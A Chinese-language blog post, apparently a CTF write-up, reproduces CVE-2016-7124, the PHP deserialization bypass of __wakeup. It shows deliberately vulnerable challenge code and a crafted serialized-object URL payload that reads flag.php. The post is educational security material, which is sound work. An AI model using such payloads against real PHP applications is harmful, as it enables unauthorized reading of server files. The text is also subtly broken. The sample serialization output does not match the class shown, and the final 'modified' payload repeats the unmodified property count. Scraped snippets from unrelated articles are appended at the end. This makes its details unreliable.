PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现

前言

最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温。之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了!

预备知识

https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化基础

序列化public private protect参数产生不同结果

Pubic 公有

Private 私有

Protect 保护

<?php
class test{
    public $name = ‘xiaohua‘;
    private $address = ‘shanxi‘;
    protected $age = ‘21‘;
}

$test1 = new test();
$object = serialize($test1);
print_r($object);
?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}

Public属性序列化后格式:成员名

Private属性序列化后格式:%00类名%00成员名

Protected属性序列化后的格式:%00*%00成员名

通过对网页抓取输出是这样的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() :unserialize()时会自动调用

(3) __destruct():当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发

CVE-2016-7124(绕过__wakeup)复现

漏洞影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

<?php
//听说flag在flag.php里面??????
//来源:榆林学院信息安全协会CTF攻防训练平台
header("Content-Type: text/html; charset=utf-8");
    error_reporting(0);
    class sercet{
        private $file=‘index.php‘;
         // __construc  每次创建新对象时调用,所以__construct非常适合做初始化
        public function __construct($file){
            echo "_construct执行<br>";
            $this->file=$file;
        }
          //析构函数会在对某个对象所有引用都被删除或者被显式销毁时执行
        function __destruct(){
            echo " __destruct执行<br>";
          //  echo show_source($this->file,true);
            echo @highlight_file($this->file, true);
        } 

          //unserialize()先检查__wakeup是否存在,则会先调用__wakeup
        function __wakeup(){
            echo "__wakeup执行<br>";
            $this->file=‘index.php‘;
        }
    } 

 unserialize($_GET[‘val‘]);  

我们分析这道CTF题,题目告知我们说flag好像在flag.php中  又看到页面爆出这个源码 我们来分析可以更改类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来构造。先序列化

首先思考传入flag.php我们实例化一个对象new sercet("flag.php"); 传递给serialize()序列化 得出:

$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);

序列化后的new sercet("flag.php");

O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

在传递的时候切记根据private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

我们注意观察 __wakeup这个函数执行了它里面的这段$this->file=‘index.php‘;代码直接将我们传递进去的flag.php替换成了index.php,之后再执行__destruct()他里面的highlight_file()将$file里面的源码高亮显示。这不是我们需要的效果我们的目标是饶过__wakeup

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

我们只需要把对象原来属性值比原来的大就行我们把1改成2

修改前:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

修改后:O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";} 

测试payload:

http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

这里我们看只执行了_destruc绕过了__wakeup所以我们成功读取了flag.PHP中的内容 获得了flag

原文地址:https://www.cnblogs.com/xhds/p/12243760.html

时间: 2024-11-02 23:00:02

PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现的相关文章

php反序列化漏洞绕过魔术方法 __wakeup

0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() 1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello"

浅谈php反序列化漏洞

关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这样做的意义是为了将一个对象通过可保存的字节方式存储起来,同时就可以将序列化字节存储到数据库或者文本当中,当需要的时候再通过反序列化获取 . 另外我们提一下 2016 年的 CVE-2016-7124 绕过 __weakup 漏洞,感兴趣的同学可以自己去查一下,简单来说, 就是当成员属性数??于实际数

PHP反序列化漏洞

聊一聊PHP反序列化漏洞 2016年11月4日 反序列化漏洞在各种语言中都较为常见,下面就简单聊一聊PHP的反序列化漏洞(PHP对象注入).第一次了解这个洞还是在某次ctf上,就简单记录下个人理解以及对CVE-2016-7124的简单分析. 序列化与反序列化 php允许保存一个对象方便以后重用,这个过程被称为序列化,序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字.先看一眼具体什么样子 name . '\'s phone is ' . $this->phone; }

php反序列化漏洞复现

超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题:what.why.how.what:什么是反序列化,why:为什么会出现反序列化漏洞,how:反序列化漏洞如何利用. 在这里我对反序列化的原理不做详细介绍,大家可以自行到网上搜索.在这里我只叙述自己的复现过程,超简单的好不. 实验环境 Windows 10+phpstudy 2016 实验步骤 测试

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

Typecho 反序列化漏洞导致前台 getshell

前言 最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下: 然后果断在文件第一行加上了die: <?php die('404 Not Found!'); ?> 今天下午刚好空闲下来,就赶紧拿出来代码看看. 漏洞分析 先从install.php开始跟,229-235行: <?php$config = unserialize(base64_decode(T

CVE-2017-12149JBoss 反序列化漏洞利用

CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码.漏洞危害程度为高危(High). 影响范围 漏洞影响5.x和6.x版本的JBOSSAS. 漏洞原理 JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器. JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用. Java序列化:把Java

ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加方便.序列化是将对象转换为字符串以便存储传输的一种方式.而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用.在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize().反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控

weblogic反序列化漏洞 cve-2018-3245

weblogic反序列化漏洞 CVE-2018-3245 0x00 针对cve-2018-2893的修复 针对JRMP反序列化修复的方式依旧是增加黑名单:黑名单package:java.rmi.activation sun.rmi.server黑名单class:java.rmi.server.UnicastRemoteObject java.rmi.server.RemoteObjectInvocationHandler 0x01绕过方法 因为将java.rmi.server.RemoteObj